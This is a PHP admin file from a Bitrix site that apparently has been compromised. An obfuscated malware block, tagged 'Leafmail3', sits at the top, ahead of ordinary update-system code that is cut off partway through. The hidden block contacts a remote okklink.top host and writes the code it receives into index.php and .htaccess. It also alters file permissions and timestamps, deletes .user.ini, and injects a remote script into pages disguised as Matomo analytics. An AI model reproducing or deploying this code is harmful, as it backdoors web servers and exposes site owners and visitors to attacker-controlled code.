Your IP : 3.17.77.29
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
//**********************************************************************/
//** DO NOT MODIFY THIS FILE **/
//** MODIFICATION OF THIS FILE WILL ENTAIL SITE FAILURE **/
//**********************************************************************/
if (!defined("UPDATE_SYSTEM_VERSION"))
define("UPDATE_SYSTEM_VERSION", "20.0.100");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
define("HELP_FILE", "marketplace/sysupdate.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/update_client.php");
@set_time_limit(0);
ini_set("track_errors", "1");
ignore_user_abort(true);
IncludeModuleLangFile(__FILE__);
if(!$USER->CanDoOperation('install_updates'))
$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));
$errorMessage = "";
$strongSystemMessage = "";
$systemMessage = "";
$stableVersionsOnly = COption::GetOptionString("main", "stable_versions_only", "Y");
$bLockUpdateSystemKernel = CUpdateSystem::IsInCommonKernel();
$strTitle = GetMessage("SUP_TITLE_BASE");
$APPLICATION->SetTitle($strTitle);
$APPLICATION->SetAdditionalCSS("/bitrix/themes/".ADMIN_THEME_ID."/sysupdate.css");
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
if (!function_exists("GetMessageJS"))
{
function GetMessageJS($name, $replace = false)
{
static $aSearch = array("\xe2\x80\xa9", "\\", "'", "\"", "\r\n", "\r", "\n", "\xe2\x80\xa8", "*/", "</");
static $aReplace = array(" ", "\\\\", "\\'", '\\"', "\n", "\n", "\\n", "\\n", "*\\/", "<\\/");
$val = str_replace($aSearch, $aReplace, GetMessage($name, $replace));
return $val;
}
}
$arMenu = array(
array(
"TEXT" => GetMessage("SUP_CHECK_UPDATES"),
"LINK" => "/bitrix/admin/update_system.php?refresh=Y&lang=".LANGUAGE_ID,
"ICON"=>"btn_update",
),
array("SEPARATOR" => "Y"),
/*array(
"TEXT" => GetMessage("SUP_CHECK_UPDATES_PARTNER"),
"LINK" => "/bitrix/admin/update_system_partner.php?refresh=Y&lang=".LANGUAGE_ID,
"ICON"=>"btn_update",
),
array("SEPARATOR" => "Y"),*/
array(
"TEXT" => GetMessage("SUP_SETTINGS"),
"LINK" => "/bitrix/admin/settings.php?lang=".LANGUAGE_ID."&mid=main&tabControl_active_tab=edit5&back_url_settings=%2Fbitrix%2Fadmin%2Fupdate_system.php%3Flang%3D".LANGUAGE_ID."",
),
array("SEPARATOR" => "Y"),
array(
"TEXT" => GetMessage("SUP_HISTORY"),
"LINK" => "/bitrix/admin/sysupdate_log.php?lang=".LANGUAGE_ID,
"ICON"=>"btn_update_log",
)
);
$context = new CAdminContextMenu($arMenu);
$context->Show();
if (!$bLockUpdateSystemKernel)
{
if (CUpdateClient::Lock())
{
if ($arUpdateList = CUpdateClient::GetUpdatesList($errorMessage, LANG, $stableVersionsOnly))
{
$refreshStep = intval($_REQUEST["refresh_step"]) + 1;
if (isset($arUpdateList["REPAIR"]))
{
if ($refreshStep < 5)
{
CUpdateClient::Repair($arUpdateList["REPAIR"][0]["@"]["TYPE"], $stableVersionsOnly, LANG);
CUpdateClient::UnLock();
LocalRedirect("/bitrix/admin/update_system.php?refresh=Y&refresh_step=".$refreshStep."&lang=".LANGUAGE_ID);
}
else
{
$errorMessage .= "<br>".GetMessage("SUP_CANT_REPARE").". ";
}
}
}
else
{
$errorMessage .= "<br>".GetMessage("SUP_CANT_CONNECT").". ";
}
CUpdateClient::UnLock();
}
else
{
$errorMessage .= "<br>".GetMessage("SUP_CANT_LOCK_UPDATES").". ";
}
}
else
{
$errorMessage .= "<br>".GetMessage("SUP_CANT_CONTRUPDATE").". ";
}
if (extension_loaded('eaccelerator'))
{
$errorMessage .= "<br>".GetMessage("SUP_CANT_EACCELERATOR").". ";
}
// MySQL 5.0.0, PHP 5.3.0
if ($DB->type === "MYSQL")
{
$dbQueryRes = $DB->Query("select VERSION() as ver", True);
if ($arQueryRes = $dbQueryRes->Fetch())
{
$curMySqlVer = trim($arQueryRes["ver"]);
$minMySqlErrorVersion = "5.6.0";
$minMariaDbErrorVersion = "10.0.5";
$minMySqlWarningVersion = "0.0.0";
$minMySqlWarningVersionBest = "0.0.0";
$minMySqlWarningVersionDate = "";
$minMariaDbWarningVersion = "0.0.0";
$minMariaDbWarningVersionBest = "0.0.0";
$minMariaDbWarningVersionDate = "";
if (date("Y-m-d") < "2019-09-01")
{
$minMySqlErrorVersion = "5.0.0";
$minMariaDbErrorVersion = "5.0.0";
$minMySqlWarningVersion = "5.6.0";
$minMySqlWarningVersionBest = "5.7";
$minMySqlWarningVersionDate = "2019-09-01";
$minMariaDbWarningVersion = "10.0.5";
$minMariaDbWarningVersionBest = "10.0.5";
$minMariaDbWarningVersionDate = "2019-09-01";
}
$minSqlErrorVersion = $minMySqlErrorVersion;
$minSqlWarningVersion = $minMySqlWarningVersion;
$minSqlWarningVersionBest = $minMySqlWarningVersionBest;
$minSqlWarningVersionDate = $minMySqlWarningVersionDate;
$sqlDbName = "MySql";
if (strpos($curMySqlVer, "MariaDB") !== false)
{
$minSqlErrorVersion = $minMariaDbErrorVersion;
$minSqlWarningVersion = $minMariaDbWarningVersion;
$minSqlWarningVersionBest = $minMariaDbWarningVersionBest;
$minSqlWarningVersionDate = $minMariaDbWarningVersionDate;
$sqlDbName = "MariaDB";
}
if (version_compare($curMySqlVer, $minSqlErrorVersion) < 0)
{
$errorMessage .= "<br>".GetMessage("SUP_MYSQL_LERR_V",
array("#VERS#" => $curMySqlVer,
"#DB#" => $sqlDbName,
"#REQ#" => $minSqlErrorVersion
)
);
}
if (version_compare($curMySqlVer, $minSqlWarningVersion) < 0)
{
$messageTmp = "<br>".GetMessage("SUP_MYSQL_LWARN_V",
array("#VERS#" => $curMySqlVer,
"#DB#" => $sqlDbName,
"#REQ#" => $minSqlWarningVersion,
